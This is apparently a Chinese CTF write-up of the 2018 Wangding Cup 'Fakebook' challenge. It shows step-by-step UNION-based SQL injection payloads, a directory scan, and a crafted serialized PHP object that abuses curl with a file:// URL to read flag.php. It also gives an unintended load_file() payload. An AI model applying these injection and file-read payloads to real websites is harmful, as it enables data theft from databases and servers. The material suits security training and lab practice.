题目来自:
[网鼎杯 2018]Fakebook
感觉原来学的有点局限,就只考虑到sql注入或者php反序列化啥的单方向,很少思考过结合起来的考法。
话不多说,直接开解:
登录要密码,join就是注册,估计直接注入注不出来,不然就不会给注册的选项了,那么我们就注册一个吧。
这里注意一下blog的意思是给一个域名,开始我还试了好多玩意结果没输.com一直报错.....
进去后就这个123可以点,那就点开看看:
查看了下源码,没啥东西,但是看到网址上后面有个no=1,估计这里可以sql注入,那就尝试一下。
试了个单引号报这个错,感觉就不是字符型注入了,再试一下no=2-1:
正常回显,那应该是数字型注入。
可以fuzz看一下过没过滤关键字,这里我直接试的,没过滤。
那么我们就直接一条龙:
order by 1到4没错,5报错,那么就应该是有四列,我们直接select 1,2,3,4查字段:
emmm....看来还是有过滤,但是这里换了个写法 union all select就不报错了,运气比较好~~
接下来就很常规了:
(注意后面要改为no=-1,不然得不到后面的回显了)
爆库为fakebook。
而且第一行有个unserialize(),估计还有反序列化,但是暂时找不到源码,就先搁在这。
no=-1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆表为users。
no=-1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'#
(注:这里写user一点不要忘了它是个字符串,要打引号,不然还是报错,我开始还以为我输错了...)
爆列为这一堆,估计有用的在data这里。
no=-1 union all select 1,group_concat(data),3,4 from fakebook.users#
爆了个序列化数据,找找源码在哪里。
这里没给提示,那么就用dirsearch开扫:
扫描过程借用博客的回答:https://www.cnblogs.com/ling-lz/articles/15379058.html
python dirsearch.py -u http://df620cba-d0c8-4572-9070-2f55fb89c8fe.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 #-u 扫描的url #-e 扫描的目录后缀 #-t 设置扫描线程 #-x 排除指定的网站状态码(用逗号隔开)
直接访问robots.txt:
再去访问user.php.bak,下载到源码:
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
不要跟常规反序列化混淆了,这里没有魔术方法的触发,直接看代码逻辑就行。
最后有个检测函数,显然也是需要我们RCE的,看了一下关键肯定在这个get()函数这里:
【*】curl_init : 初始化一个curl会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。 【*】curl_setopt : 请求一个url。 其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。 【*】CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。 【*】curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。 【*】CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。 curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。 如果状态码不是404,就返回exec的结果。
而get()函数也是在
这个位置调用,那么直接构造payload。
这里用file:///var/www/html/flag.php直接开读:
然后用注入的方式在第四列给它注入进去:
no=-1 union all select 1,2,3,'O%3A8%3A%22UserInfo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22123%22%3Bs%3A3%3A%22age%22%3Bi%3A123%3Bs%3A4%3A%22blog%22%3Bs%3A29%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D'#
记住一定要用单引号括起来。
关于此处为什么可以注入,因为union select会创建一个虚拟存储
例:
所以我们要在第四个位置注入。
注入成功有回显,查看源码:
点开就是flag:
非预期解:
还有个非预期解
使用load_file()函数,直接得到flag
payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
直接在源码里得到flag
标签:no,union,3A%,blog,SQL,curl,序列化,select,注入 From: https://www.cnblogs.com/EddieMurphy-blogs/p/17703134.html